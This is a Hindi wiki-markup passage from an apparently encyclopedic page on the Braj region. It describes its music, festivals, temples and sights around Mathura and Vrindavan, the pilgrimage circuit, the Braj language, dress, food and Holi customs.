 
ब्रज के प्राचीन संगीतज्ञों की प्रामाणिक जानकारी 16वीं शताब्दी के [[भक्तिकाल]] से मिलती है। इस काल में अनेकों [[संगीतज्ञ]]  वैष्णव संत हुए। संगीत शिरोमणि [[स्वामी हरिदास जी]], इनके गुरु आशुधीर जी तथा उनके शिष्य [[तानसेन]] आदि का नाम सर्वविदित है। [[बैजूबावरा]] के गुरु भी [[हरिदास|श्री हरिदास]] जी कहे जाते हैं, किन्तु बैजू बावरा ने [[अष्टछाप]] के कवि [[संगीतज्ञ]]  [[गोविंदस्वामी|गोविन्द स्वामी जी]] से ही संगीत का अभ्यास किया था। निम्बार्क सम्प्रदाय के श्रीभट्ट जी इसी काल में भक्त, कवि और [[संगीतज्ञ]]  हुए। अष्टछाप के महासंगीतज्ञ कवि [[सूरदास]], [[नंददास|नन्ददास]], [[परमानन्ददास]] जी आदि भी इसी काल में प्रसिद्ध कीर्तनकार, कवि और गायक हुए, जिनके कीर्तन बल्लभकुल के मन्दिरों में गाये जाते हैं। स्वामी हरिदास जी ने ही वस्तुत: ब्रज–संगीत के [[ध्रुपद]]–[[धमार]] की गायकी और [[रासलीला|रास–नृत्य]] की परम्परा चलाई।
 
[[चित्र:Rath-Yatra-Rang-Ji-Temple-Vrindavan-Mathura-5.jpg|thumb|180px|left|[[रंग नाथ जी मन्दिर वृन्दावन|रथ यात्रा]], [[वृन्दावन]]]]
 
====<u>संगीत</u>====
 
मथुरा में संगीत का प्रचलन बहुत पुराना है, [[बांसुरी]] ब्रज का प्रमुख वाद्य यंत्र है। भगवान श्रीकृष्ण की बांसुरी को जन–जन जानता है और इसी को लेकर उन्हें मुरलीधर और वंशीधर आदि नामों से पुकारा जाता है। वर्तमान में भी ब्रज के लोकसंगीत में [[ढोल]] [[मृदंग]], [[झांझ]], [[मंजीरा]], ढप, [[नगाड़ा]], [[पखावज]], [[एकतारा]] आदि [[वाद्य यंत्र|वाद्य यंत्रों]] का प्रचलन है।
 
 
 
16 वीं शती से मथुरा में रास के वर्तमान रूप का प्रारम्भ हुआ। यहाँ सबसे पहले [[वल्लभाचार्य|बल्लभाचार्य]] जी ने स्वामी हरदेव के सहयोग से [[विश्राम घाट मथुरा|विश्रांत घाट]] पर रास किया। रास ब्रज की अनोखी देन है, जिसमें संगीत के गीत गद्य तथा नृत्य का समिश्रण है। ब्रज के साहित्य के सांस्कृतिक एवं कलात्मक जीवन को रास बड़ी सुन्दरता से अभिव्यक्त करता है। अष्टछाप के कवियों के समय ब्रज में संगीत की मधुरधारा प्रवाहित हुई। सूरदास, नन्ददास, कृष्णदास आदि स्वयं गायक थे। इन कवियों ने अपनी रचनाओं में विविध प्रकार के गीतों का अपार भण्डार भर दिया।
 
 
 
स्वामी हरिदास  संगीत शास्त्र के प्रकाण्ड आचार्य एवं गायक थे। तानसेन जैसे प्रसिद्ध [[संगीतज्ञ]]  भी उनके शिष्य थे। सम्राट [[अकबर]] भी स्वामी जी के मधुर संगीत- गीतों को सुनने का लोभ संवरण न कर सका और इसके लिए भेष बदलकर उन्हें सुनने वृन्दावन आया करता था। मथुरा, वृन्दावन, गोकुल, गोवर्धन लम्बे समय तक संगीत के केन्द्र बने रहे और यहाँ दूर से संगीत कला सीखने आते रहे।
 
 
 
====<u>लोक गीत</u>====
 
ब्रज में अनेकानेक गायन शैलियां प्रचलित हैं और रसिया ब्रज की प्राचीनतम गायकी कला है। भगवान श्रीकृष्ण की बाल लीलाओं से सम्बन्धित पद, रसिया आदि गायकी के साथ रासलीला का आयोजन होता है। श्रावण मास में महिलाओं द्वारा झूला झूलते समय गायी जाने वाली मल्हार गायकी का प्रादुर्भाव ब्रज से ही है। लोकसंगीत में रसिया, ढोला, आल्हा, लावणी, चौबोला, बहल–तबील, भगत आदि संगीत भी समय –समय पर सुनने को मिलता है। इसके अतिरिक्त ऋतु गीत, घरेलू गीत, सांस्कृतिक गीत समय–समय पर विभिन्न वर्गों में गाये जाते हैं।
 
====<u>कला</u>====
 
{{main|मूर्ति कला मथुरा}}
 
यहाँ स्थापत्य तथा मूर्ति कला के विकास का सबसे महत्त्वपूर्ण युग कुषाण काल के प्रारम्भ से गुप्त काल के अन्त तक रहा। यद्यपि इसके बाद भी ये कलायें 12वीं शती के अन्त तक जारी रहीं। इसके बाद लगभग 350 वर्षों तक मथुरा कला का प्रवाह अवरूद्ध रहा, पर 16वीं शती से कला का पुनरूत्थान साहित्य, संगीत तथा [[चित्रकला]] के रूप में दिखाई पड़ने लगता है।
 
 
 
 
 
==ब्रज के प्रमुख पर्व एवं त्योहार==
 
ब्रजभूमि पर्वों एवं त्योहारों की भूमि है। यहाँ की संस्कृति उत्सव प्रधान है। यहाँ हर ऋतु माह एवं दिनों  में पर्व और त्योहार चलते हैं। कुछ प्रमुख त्योहारों का विवरण निम्नवत है।
 
 
 
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{| class="bharattable-green"
 
! colspan="6"|पर्व एवं त्योहार
 
|-
 
|
 
[[होली]]
 
|
 
[[कृष्ण जन्माष्टमी]]
 
|
 
[[यमुना षष्ठी]]
 
|
 
[[गुरु पूर्णिमा]]
 
|
 
[[गंगा दशहरा|गंगा–दशहरा]]
 
|
 
[[रंग नाथ जी मन्दिर वृन्दावन|रथ–यात्रा]]
 
|-
 
|
 
[[रामनवमी]]
 
|
 
[[राधाष्टमी]]
 
|
 
[[शरद पूर्णिमा]]
 
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[[यम द्वितीया]]
 
|
 
[[गोवर्धन पूजा]]
 
|
 
[[गोपाष्टमी]]
 
|-
 
|
 
[[अक्षय नवमी]]
 
|
 
[[कंस मेला]]
 
|
 
[[कार्तिक स्नान]]
 
|
 
[[यम द्वितीया]]
 
|
 
[[गोपाष्टमी]]
 
|
 
[[शिवरात्रि]]
 
|}
 
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{| class="bharattable-green"
 
|+ ब्रज के प्रमुख पर्व एवं त्योहार
 
|-
 
| [[चित्र:Vishram-Ghat-11.jpg|यम द्वितीया स्नान, विश्राम घाट, मथुरा|60px]]
 
| [[चित्र:Krishna-Janamashthmi-Mathura-1.jpg|कृष्ण जन्माष्टमी पर कृष्ण जन्मभूमि का दृश्य|60px]]
 
| [[चित्र:Kansa-Fair-2.jpg|कंस मेला, [[मथुरा]]|60px]]
 
| [[चित्र:Holi Barsana Mathura 1.jpg|लट्ठामार होली, [[बरसाना]]|60px]]
 
| [[चित्र:Baldev-Temple-3.jpg|होली, दाऊजी मन्दिर, बलदेव|60px]]
 
| [[चित्र:Krishna Janm Bhumi Holi Mathura 12.jpg|होली, [[कृष्ण जन्मभूमि]], [[मथुरा]]|60px]]
 
| [[चित्र:Rath-Yatra-Rang-Ji-Temple-Vrindavan-Mathura-3.jpg |रथ यात्रा, [[वृन्दावन]]|60px]]
 
| [[चित्र:Holi-Holigate-Mathura-1.jpg|होली, [[होली दरवाज़ा]], [[मथुरा]]|60px]]
 
|}
 
</center>
 
 
 
 
 
==ब्रज के मुख्य दर्शनीय स्थल==
 
{| class="bharattable-green" border="1" width="100%" style="text-align:center"
 
|-
 
! style="width:15%"| नाम
 
! style="width:58%"| संक्षिप्त विवरण
 
! style="width:15%"| चित्र
 
! style="width:12%"|मानचित्र लिंक
 
|-
 
| [[कृष्ण जन्मभूमि]]
 
| style="text-align:left"|भगवान [[कृष्ण|श्री कृष्ण]] की जन्मभूमि का ना केवल राष्द्रीय स्तर पर महत्त्व है बल्कि वैश्विक स्तर पर [[मथुरा]] जनपद भगवान श्रीकृष्ण के जन्मस्थान से ही जाना जाता है। आज वर्तमान में महामना पंडित मदनमोहन मालवीय जी की प्रेरणा से यह एक भव्य आकर्षण मन्दिर के रूप में स्थापित है। [[पर्यटन]] की दृष्टि से विदेशों से भी भगवान श्रीकृष्ण के दर्शन के लिए यहाँ प्रतिदिन आते हैं [[कृष्ण जन्मभूमि|.... और पढ़ें]]
 
| [[चित्र:Krishna Birth Place Mathura-13.jpg|कृष्ण जन्मभूमि, मथुरा|150px]]
 
| [http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=shri+krishna+janm+bhoomi&sll=27.505493,77.665958&sspn=0.016596,0.042272&ie=UTF8&hq=shri+krishna+janm+bhoomi&hnear=&ll=27.509794,77.665873&spn=0.033495,0.084543&z=14 गूगल मानचित्र]
 
|-
 
| [[द्वारिकाधीश मन्दिर मथुरा|द्वारिकाधीश मन्दिर]]
 
| style="text-align:left"|[[मथुरा]] नगर के राजाधिराज बाज़ार में स्थित यह मन्दिर अपने सांस्कृतिक वैभव कला एवं सौन्दर्य के लिए अनुपम है। [[ग्वालियर]] राज के कोषाध्यक्ष सेठ गोकुल दास पारीख ने इसका निर्माण 1814–15 में प्रारम्भ कराया, जिनकी मृत्यु पश्चात इनकी सम्पत्ति के उत्तराधिकारी सेठ लक्ष्मीचन्द्र ने मन्दिर का निर्माण कार्य पूर्ण कराया [[द्वारिकाधीश मन्दिर मथुरा|.... और पढ़ें]]
 
| [[चित्र:Dwarikadish-temple-1.jpg|द्वारिकाधीश मन्दिर|150px]]
 
| [http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=dwarkadhish+temple+mathura&sll=27.509794,77.665873&sspn=0.035399,0.084543&ie=UTF8&hq=dwarkadhish+temple&hnear=Mathura,+Uttar+Pradesh+281001,+India&ll=27.510022,77.684669&spn=0.033495,0.084543&z=14 गूगल मानचित्र]
 
|-
 
| [[राजकीय संग्रहालय मथुरा|राजकीय संग्रहालय]]
 
| style="text-align:left"|मथुरा का यह विशाल संग्रहालय डेम्पीयर नगर, मथुरा में स्थित है। भारतीय कला को मथुरा की यह विशेष देन है । भारतीय कला के इतिहास में यहीं पर सर्वप्रथम हमें शासकों की लेखों से अंकित मानवीय आकारों में बनी प्रतिमाएं दिखलाई पड़ती हैं  [[राजकीय संग्रहालय मथुरा|.... और पढ़ें]]
 
| [[चित्र:Mathura-Museum-1.jpg|राजकीय संग्रहालय|150px]]
 
| [http://maps.google.co.in/maps?f=q&source=s_q&hl=en&geocode=&q=mathura+museum&sll=27.576574,77.682352&sspn=0.020694,0.042272&ie=UTF8&hq=museum&hnear=Mathura,+Uttar+Pradesh+281001&z=16&iwloc=A गूगल मानचित्र]
 
|-
 
| [[बांके बिहारी मन्दिर वृन्दावन|बांके बिहारी मन्दिर]]
 
| style="text-align:left"|बांके बिहारी मंदिर [[मथुरा]] ज़िले के [[वृंदावन]] धाम में रमण रेती पर स्थित है। यह भारत के प्राचीन और प्रसिद्ध मंदिरों में से एक है। बांके बिहारी [[कृष्ण]] का ही एक रूप है जो इसमें प्रदर्शित किया गया है। कहा जाता है कि इस मन्दिर का निर्माण स्वामी श्री [[हरिदास]] जी के वंशजो के सामूहिक प्रयास से संवत 1921 के लगभग किया गया [[बांके बिहारी मन्दिर वृन्दावन|.... और पढ़ें]]
 
| [[चित्र:Banke-Bihari-Temple.jpg|150px|बांके बिहारी मन्दिर]]
 
| [http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=banke+bihari+temple+vrindavan&sll=28.386568,79.425488&sspn=0.083666,0.110378&ie=UTF8&hq=banke+bihari+temple&hnear=Vrindavan,+Mathura,+Uttar+Pradesh+281124,+India&ll=27.581215,77.691042&spn=0.010061,0.013797&z=16&iwloc=A गूगल मानचित्र]
 
|-
 
| [[रंग नाथ जी मन्दिर वृन्दावन|रंग नाथ जी मन्दिर]]
 
| style="text-align:left"|श्री सम्प्रदाय के संस्थापक [[रामानुज|रामानुजाचार्य]] के विष्णु-स्वरूप भगवान रंगनाथ या रंगजी के नाम से रंग जी का मन्दिर सेठ लखमीचन्द के भाई सेठ गोविन्ददास और राधाकृष्ण दास द्वारा निर्माण कराया गया था। उनके महान गुरु [[संस्कृत]] के आचार्य स्वामी रंगाचार्य द्वारा दिये गये मद्रास के रंग नाथ मन्दिर की शैली के मानचित्र के आधार पर यह बना था। इसकी बाहरी दीवार की लम्बाई 773 फीट और चौड़ाई 440 फीट है [[रंग नाथ जी मन्दिर वृन्दावन|.... और पढ़ें]]
 
|[[चित्र:Rang-ji-temple-2.jpg|150px|रंग नाथ जी मन्दिर]]
 
| [http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=rang+nath+temple+vrindavan&sll=27.581215,77.691042&sspn=0.010061,0.013797&ie=UTF8&ll=27.583269,77.704196&spn=0.020122,0.027595&z=15&iwloc=lyrftr:m,12219994355026929546,27.582242,77.70175 गूगल मानचित्र]
 
|-
 
| [[गोविन्द देव मन्दिर वृन्दावन|गोविन्द देव मन्दिर]]
 
| style="text-align:left"|गोविन्द देव जी का मंदिर वृंदावन में स्थित [[वैष्णव संप्रदाय]] का मंदिर है। मंदिर का निर्माण ई. 1590 में तथा इसे बनाने में 5 से 10 वर्ष लगे। मंदिर की भव्यता का अनुमान इस उद्धरण से लगाया जा सकता है [[औरंगज़ेब]] ने शाम को टहलते हुए, दक्षिण-पूर्व में दूर से दिखने वाली रौशनी के बारे जब पूछा तो पता चला कि यह चमक [[वृन्दावन]] के वैभवशाली मंदिरों की है [[गोविन्द देव मन्दिर वृन्दावन|.... और पढ़ें]]
 
| [[चित्र:Govind-dev-temple-6.jpg|150px|गोविन्द देव मन्दिर]]
 
| [http://maps.google.co.in/maps?f=q&source=s_q&hl=en&geocode=&q=Govindji+Temple,+Vrindavan,+Uttar+Pradesh&sll=21.125498,81.914063&sspn=43.661359,86.572266&ie=UTF8&hq=Govindji+Temple,&hnear=Vrindavan,+Mathura,+Uttar+Pradesh+281124&ll=27.581462,77.69954&spn=0.010346,0.021136&z=16&iwloc=A गूगल मानचित्र]
 
|-
 
| [[इस्कॉन मन्दिर वृन्दावन|इस्कॉन मन्दिर]]
 
| style="text-align:left"|[[वृन्दावन]] के आधुनिक मन्दिरों में यह एक भव्य मन्दिर है। इसे अंग्रेज़ों का मन्दिर भी कहते हैं। केसरिया वस्त्रों में हरे रामा–हरे कृष्णा की धुन में तमाम विदेशी महिला–पुरुष यहाँ देखे जाते हैं। मन्दिर में राधा कृष्ण की भव्य प्रतिमायें हैं और अत्याधुनिक सभी सुविधायें हैं [[इस्कॉन मन्दिर वृन्दावन|.... और पढ़ें]]
 
| [[चित्र:Iskcon-Temple-1.jpg|इस्कॉन मन्दिर वृन्दावन|150px]]
 
| [http://maps.google.co.in/maps?f=q&source=s_q&hl=en&geocode=&q=Iskcon+Temple+vrindavan&sll=21.125498,81.914063&sspn=43.661359,86.572266&ie=UTF8&hq=Iskcon+Temple&hnear=Vrindavan,+Mathura,+Uttar+Pradesh+281124&ll=27.576574,77.682352&spn=0.020694,0.042272&z=15&iwloc=A गूगल मानचित्र]
 
|-
 
| [[मदन मोहन मन्दिर वृन्दावन|मदन मोहन मन्दिर]]
 
| style="text-align:left"|[[श्रीकृष्ण]] भगवान के अनेक नामों में से एक प्रिय नाम मदनमोहन भी है। इसी नाम से एक मंदिर [[मथुरा]] ज़िले के [[वृंदावन]] धाम में विद्यमान है। विशालकायिक नाग के फन पर भगवान चरणाघात कर रहे हैं। पुरातनता में यह मंदिर [[गोविन्द देव मन्दिर वृन्दावन|गोविन्द देव जी के मंदिर]] के बाद आता है [[मदन मोहन मन्दिर वृन्दावन|.... और पढ़ें]] 
 
| [[चित्र:Madan-Mohan-Temple-4.jpg|100px|मदन मोहन मन्दिर वृन्दावन]]
 
|
 
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| [[दानघाटी गोवर्धन|दानघाटी मंदिर]]
 
| style="text-align:left"|मथुरा–[[डीग भरतपुर|डीग]] मार्ग पर [[गोवर्धन]] में यह मन्दिर स्थित है। गिर्राजजी की परिक्रमा हेतु आने वाले लाखों श्रृद्धालु इस मन्दिर में पूजन करके अपनी परिक्रमा प्रारम्भ कर पूर्ण लाभ कमाते हैं। ब्रज में इस मन्दिर की बहुत महत्ता है। यहाँ अभी भी इस पार से उसपार या उसपार से इस पार करने में टोल टैक्स देना पड़ता है। कृष्णलीला के समय [[कृष्ण]] ने दानी बनकर गोपियों से प्रेमकलह कर नोक–झोंक के साथ दानलीला की है [[दानघाटी गोवर्धन|.... और पढ़ें]]
 
| [[चित्र:Danghati Temple Govardhan Mathura 2.jpg|100px|दानघाटी]]
 
| [http://maps.google.co.in/maps?f=d&source=s_d&saddr=Major+District+Road+70/MDR+70&daddr=27.50066,77.65306+to:Pagal+Baba+Temple&geocode=FVyKowEdovydBA;FXSgowEdROSgBCnnLCTn2XNzOTESPc4ps-4wlA;FXSgowEdROSgBA&hl=en&mra=dvme&mrcr=0&mrsp=1&sz=12&via=1&sll=27.488477,77.5597&sspn=0.165682,0.338173&ie=UTF8&ll=27.487867,77.561417&spn=0.165683,0.338173&z=12 गूगल मानचित्र]
 
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| [[मानसी गंगा गोवर्धन|मानसी गंगा]]
 
| style="text-align:left"|[[गोवर्धन]] गाँव के बीच में श्री मानसी गंगा है। परिक्रमा करने में दायीं और पड़ती है और पूंछरी से लौटने पर भी दायीं और इसके दर्शन होते हैं। मानसी गंगा के पूर्व दिशा में- श्री मुखारविन्द, श्री लक्ष्मीनारायण मन्दिर, श्री किशोरीश्याम मन्दिर, श्री गिरिराज मन्दिर, श्री मन्महाप्रभु जी की बैठक, श्री राधाकृष्ण मन्दिर स्थित हैं [[मानसी गंगा गोवर्धन|.... और पढ़ें]]
 
| [[चित्र:Mansi-Ganga-1.jpg|150px|मानसी गंगा]]
 
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| [[कुसुम सरोवर गोवर्धन|कुसुम सरोवर]]
 
| style="text-align:left"|[[मथुरा]] में [[गोवर्धन]] से लगभग 2 किलोमीटर दूर [[राधाकुण्ड गोवर्धन|राधाकुण्ड]] के निकट स्थापत्य कला के नमूने का एक समूह [[जवाहर सिंह]] द्वारा अपने पिता [[सूरजमल]] ( ई.1707-1763) की स्मृति में बनवाया गया। कुसुम सरोवर गोवर्धन के परिक्रमा मार्ग में स्थित एक रमणीक स्थल है जो अब सरकार के संरक्षण में है [[कुसुम सरोवर गोवर्धन|.... और पढ़ें]] 
 
| [[चित्र:Kusum-sarovar-01.jpg|150px|कुसुम सरोवर]]
 
| [http://maps.google.co.in/maps?f=q&source=s_q&hl=en&geocode=&q=kusum+sarovar+govardhan&sll=21.125498,81.914063&sspn=44.429312,86.572266&ie=UTF8&hq=kusum+sarovar&hnear=kusum+sarovar,+Mathura,+Uttar+Pradesh&ll=27.537348,77.483826&spn=0.069714,0.169086&z=13&iwloc=A गूगल मानचित्र]
 
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| [[जयगुरुदेव मन्दिर मथुरा|जयगुरुदेव मन्दिर]]
 
| style="text-align:left"|मथुरा में [[आगरा]]-[[दिल्ली]] राजमार्ग पर स्थित जय गुरुदेव आश्रम की लगभग डेढ़ सौ एकड़ भूमि पर संत बाबा जय गुरुदेव की एक अलग ही दुनिया बसी हुई है। उनके देश विदेश में 20 करोड़ से भी अधिक अनुयायी हैं। उनके अनुयायियों में अनपढ़ किसान से लेकर प्रबुद्ध वर्ग तक के लोग हैं [[जयगुरुदेव मन्दिर मथुरा|.... और पढ़ें]]
 
| [[चित्र:Jai-Gurudev-Temple-1.jpg|150px|जयगुरुदेव मन्दिर]]
 
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| [[राधा रानी मंदिर बरसाना|राधा रानी मंदिर]]
 
| style="text-align:left"|इस मंदिर को [[बरसाना|बरसाने]] की लाड़ली जी का मंदिर भी कहा जाता है। [[राधा]] का यह प्राचीन मंदिर मध्यकालीन है जो लाल और पीले पत्थर का बना है। राधा-[[कृष्ण]] को समर्पित इस भव्य और सुन्दर  मंदिर का निर्माण राजा वीर सिंह ने 1675 में करवाया था। बाद में स्थानीय लोगों द्वारा पत्थरों को इस मंदिर में लगवाया। [[राधा रानी मंदिर बरसाना|.... और पढ़ें]]
 
| [[चित्र:Barsana-temple-3.jpg|150px|राधा रानी मंदिर]]
 
| [http://maps.google.co.in/maps?f=q&source=s_q&hl=en&geocode=&q=barsana+temple+barsana&sll=27.502181,77.46048&sspn=0.316096,0.676346&ie=UTF8&hq=barsana+temple&hnear=Barsana,+Bharatpur,+Rajasthan&ll=27.652666,77.373426&spn=0.009864,0.021136&z=16&iwloc=A गूगल मानचित्र]
 
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| [[नन्द जी मंदिर नन्दगाँव|नन्द जी मंदिर]]
 
| style="text-align:left"|[[नन्द]] जी का मंदिर, [[नन्दगाँव]] में स्थित है। नन्दगाँव [[ब्रजमंडल]] का प्रसिद्ध तीर्थ है। [[गोवर्धन]] से 16 मील पश्चिम उत्तर कोण में, [[कोसी]] से 8 मील दक्षिण में तथा [[वृन्दावन]] से 28 मील पश्चिम में नन्दगाँव स्थित है। नन्दगाँव की प्रदक्षिणा (परिक्रमा) चार मील की है। यहाँ पर [[कृष्ण]] लीलाओं से सम्बन्धित 56 कुण्ड हैं। जिनके दर्शन में 3–4 दिन लग जाते हैं [[नन्द जी मंदिर नन्दगाँव|.... और पढ़ें]]
 
| [[चित्र:Nand-Ji-Temple-1.jpg|150px|नन्द जी मंदिर]]
 
| [http://maps.google.co.in/maps?f=q&source=s_q&hl=en&geocode=&q=nandgaon+mathura&sll=27.581462,77.69954&sspn=0.010346,0.021136&ie=UTF8&cd=1&hq=nandgaon&hnear=Mathura,+Uttar+Pradesh+281001&ll=27.728514,77.332764&spn=0.630883,1.352692&z=10 गूगल मानचित्र]
 
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==ब्रज चौरासी कोस की यात्रा==
 
{{Main|ब्रज चौरासी कोस की यात्रा}}
 
[[चित्र:Chetanya-Mahaprabhu-2.jpg|चैतन्य महाप्रभु मन्दिर, [[गोवर्धन]], [[मथुरा]]|thumb|250px]]
 
*[[वराह पुराण]] कहता है कि [[पृथ्वी देवी|पृथ्वी]] पर 66 अरब तीर्थ हैं और वे सभी चातुर्मास में ब्रज में आकर निवास करते हैं। यही वजह है कि व्रज यात्रा करने वाले इन दिनों यहाँ खिंचे चले आते हैं।  हज़ारों श्रद्धालु ब्रज के वनों में डेरा डाले रहते हैं।
 
*ब्रजभूमि की यह पौराणिक यात्रा हज़ारों साल पुरानी है। चालीस दिन में पूरी होने वाली ब्रज चौरासी कोस यात्रा का उल्लेख [[वेद]]-[[पुराण]] व श्रुति ग्रंथसंहिता में भी है। [[कृष्ण]] की बाल क्रीड़ाओं से ही नहीं, [[सत युग]] में भक्त [[ध्रुव]] ने भी यही आकर [[नारद]] जी से गुरु मन्त्र ले अखंड तपस्या की व ब्रज परिक्रमा की थी।
 
*[[त्रेता युग]] में प्रभु [[राम]] के लघु भ्राता [[शत्रुघ्न]] ने मधु पुत्र लवणासुर को मार कर ब्रज परिक्रमा की थी। गली बारी स्थित शत्रुघ्न मंदिर यात्रा मार्ग में अति महत्त्व का माना जाता है।
 
*[[द्वापर युग]] में [[उद्धव]] जी ने [[गोपी|गोपियों]] के साथ ब्रज परिक्रमा की।
 
*[[कलि युग]] में [[जैन]] और [[बौद्ध]] धर्मों के [[स्तूप]] बैल्य संघाराम आदि स्थलों के सांख्य इस परियात्रा की पुष्टि करते हैं।
 
*14वीं शताब्दी में जैन धर्माचार्य जिन प्रभु शूरी की में ब्रज यात्रा का उल्लेख आता है।
 
*15वीं शताब्दी में [[माध्व सम्प्रदाय]] के आचार्य मघवेंद्र पुरी महाराज की यात्रा का वर्णन है तो
 
*16वीं शताब्दी में महाप्रभु [[वल्लभाचार्य]], गोस्वामी विट्ठलनाथ, चैतन्य मत केसरी  [[चैतन्य महाप्रभु]], [[रूप गोस्वामी]], [[सनातन गोस्वामी]], नारायण भट्ट, [[निम्बार्क संप्रदाय]] के चतुरानागा  आदि ने ब्रज यात्रा की थी।
 
[[चित्र:Surdas Surkuti Sur Sarovar Agra-19.jpg|thumb|250px|left|[[सूरदास]], सूरसरोवर, [[आगरा]]]]
 
==ब्रजभाषा==
 
{{Main|ब्रजभाषा}}
 
ब्रजभाषा मूलत: ब्रजक्षेत्र की बोली है। विक्रम की 13वीं शताब्दी से लेकर 20वीं शताब्दी तक भारत में साहित्यिक भाषा रहने के कारण ब्रज की इस जनपदीय बोली ने अपने विकास के साथ  भाषा नाम प्राप्त किया और ब्रजभाषा नाम से जानी जाने लगी। शुद्ध रूप में यह आज भी [[मथुरा]], [[आगरा]], धौलपुर और अलीगढ़ ज़िलों में बोली जाती है। इसे हम केंद्रीय ब्रजभाषा भी कह सकते हैं। प्रारम्भ में ब्रजभाषा में ही काव्य रचना हुई। [[भक्तिकाल]] के कवियों ने अपनी रचनाएं ब्रजभाषा में ही लिखी हैं जिनमें [[सूरदास]], [[रहीम]], [[रसखान]], [[बिहारीलाल]], केशव, [[घनानन्द कवि]] आदि कवि प्रमुख हैं। हिन्दी फ़िल्मों और फ़िल्मी गीतों में भी ब्रजभाषा के शब्दों का बहुत प्रयोग होता है। आधुनिक ब्रजभाषा 1 करोड़ 23 लाख जनता के द्वारा बोली जाती है और लगभग 38,000 वर्गमील के क्षेत्र में फैली हुई है।
 
 
 
 
 
==ब्रज की वेशभूषा==
 
परम्परागत रूप से धार्मिकता और सादगी ब्रज की जीवनशैली का अंग है। बुजुर्गों में पुरुषों को श्वेत धोती–कुर्ता कंधे पर गमछा या शाल और सर पर पगड़ी तथा नारियों को लहंगा–चुनरी अथवा साड़ी ब्लाउज सहित बच्चों को झंगा-झंगली, झबला पहनावों में सामान्य रूप से देखा जाता है। सर्दियों में रूई की बण्डी, खादी के बन्द गले का कोट, सदरी और ऊनी स्वेटर भी परम्परागत पुरुषों के पहनावे हैं। अधिक सर्दी के दिनों में पुरुष लोई अथवा कम्बल भी ओढ़ते हैं। महिलायें स्वेटर पहनने के अलावा शॉल ओढ़ती हैं। पैरों में सामान्यत: जूते, चप्पल पहने जाते हैं। आधुनिकता के दौर में युवक जीन्स, पेन्ट–शर्ट, सूट और युवतियों पर मिडी, सलवार सूट, टी–शर्ट आदि आधुनिक पहनावों का असर है। साधुओं की वेशभूषा में सामान्यत: केसरिया, श्वेत अथवा पीत वस्त्रों का चलन है। सर्दी के दिनों में ये गर्म कपड़ों का भी प्रयोग करते हैं और पैरों में खड़ाऊ अथवा कन्तान की जूती पहनते हैं।
 
 
 
 
 
==ब्रज का विशेष भोजन==
 
ब्रज का विशेष भोजन जो दालबाटी चूरमा के नाम से जाना जाता है यह ब्रजवासियों का विशेष भोजन है। समारोह, उत्सवों, और [[सैर]] सपाटों एवं विशेष अवसरों पर यह भोजन तैयार किया जाता है और लोग इसका आनन्द लेते हैं। यह भोजन पूरी तरह से देशी घी में तैयार होता है। इसके अलावा मिस्सी रोटी (गुड़चनी), मालपुआ, आदि भी बहुतायत में खाया जाता है।
 
 
 
 
 
==ब्रज की मिठाई==
 
[[चित्र:Pera-Mathura.jpg|पेड़ा|thumb|150px]]
 
ब्रज में मिठाईयों का बहुत महत्त्व है। ब्रज की सबसे प्रसिद्ध मिठाई है पेड़ा।  [[चित्र:Ghewar.jpg|thumb|150px|घेवर|left]] ब्रज जैसा पेड़ा कहीं नहीं मिलता। ब्रज में मथुरा के पेड़े से अच्छे और स्वादिष्ट पेड़े दुनिया भर में कहीं भी नहीं मिलते हैं। आप यदि पारम्परिक तौर पर मथुरा के पेड़े  का एक टुकड़ा भी चखते हैं तो कम से कम चार पेड़े से कम खाकर तो आप रह ही नहीं पायेंगे। ब्रज में ज़्यादातर व्यक्तियों की पसंदीदा चीज़ मिठाई होती है। ब्रज के लोग मिठाई खाने के बहुत शौक़ीन होते हैं। वैसे तो ब्रज की हर मिठाई प्रसिद्ध होती है, लेकिन पेड़ा मुख्य है। पेड़े के अलावा खुरचन, रबड़ी, सोनहलवा, इमरती आदि प्रमुख हैं।
 
 
 
==ब्रज की होली==
 
{{Main|होली}}
 
यह ब्रज का विशेष त्योहार है यों तो [[पुराण|पुराणों]] के अनुसार इसका सम्बन्ध पुराण कथाओं से है और ब्रज में भी होली इसी दिन जलाई जाती है। इसमें यज्ञ रूप में नवीन अन्न की बालें भूनी जाती है। [[प्रह्लाद]] की कथा की प्रेरणा इससे मिलती हैं। होली दहन के दिन [[कोसी]] के निकट फालैन गांव में प्रह्लाद कुण्ड  के पास भक्त प्रह्लाद का मेला लगता है। यहाँ तेज़ जलती हुई होली में से नंगे बदन और नंगे पांव पण्डा निकलता है। [[फाल्गुन]] के माह रंगभरनी एकादशी से सभी मन्दिरों में फाग उत्सव प्रारम्भ होते हैं जो दौज तक चलते हैं। दौज को बल्देव ([[बलदेव मन्दिर मथुरा|दाऊजी]]) में हुरंगा होता है। [[बरसाना]], [[नन्दगांव]], जाव, बठैन, [[जतीपुरा गोवर्धन|जतीपुरा]], आन्यौर आदि में भी [[होली]] खेली जाती है।
 
 
 
<div align="center">
 
{| class="bharattable-green" border="1"  align="center"
 
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'''ब्रज में [[होली]] के विभिन्न दृश्य'''
 
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| [[चित्र:Baldev-Temple-3.jpg|60px|होली, दाऊजी मन्दिर, बलदेव]]
 
| [[चित्र:Holi-Barsana-Mathura-4.jpg|60px|होली, राधा रानी मन्दिर, बरसाना]]
 
| [[चित्र:Holi-Barsana-Mathura-5.jpg|60px|होली, राधा रानी मन्दिर, बरसाना]]
 
| [[चित्र:Baldev-Holi-Mathura-29.jpg|60px|होली, दाऊजी मन्दिर, बलदेव]]
 
| [[चित्र:Lathmar-Holi-Barsana-Mathura-23.jpg|60px|लट्ठामार होली]]
 
| [[चित्र:Holi-Holigate-Mathura-15.jpg|60px|होली, होली दरवाज़ा, मथुरा]]
 
| [[चित्र:Baldev-Holi-Mathura-30.jpg|60px|होली, दाऊजी मन्दिर, बलदेव]]
 
| [[चित्र:Lathmar-Holi-Barsana-Mathura-17.jpg|60px|लट्ठामार होली]]
 
| [[चित्र:Holi-Holigate-Mathura-1.jpg|60px|होली, होली दरवाज़ा, मथुरा]]
 
| [[चित्र:Krishna Janm Bhumi Holi Mathura 12.jpg|60px|होली, कृष्ण जन्मभूमि, मथुरा]]
 
|}</div>
 
 
 
  
 
==ब्रज में गोपी बने त्रिपुरारि==
 
==ब्रज में गोपी बने त्रिपुरारि==
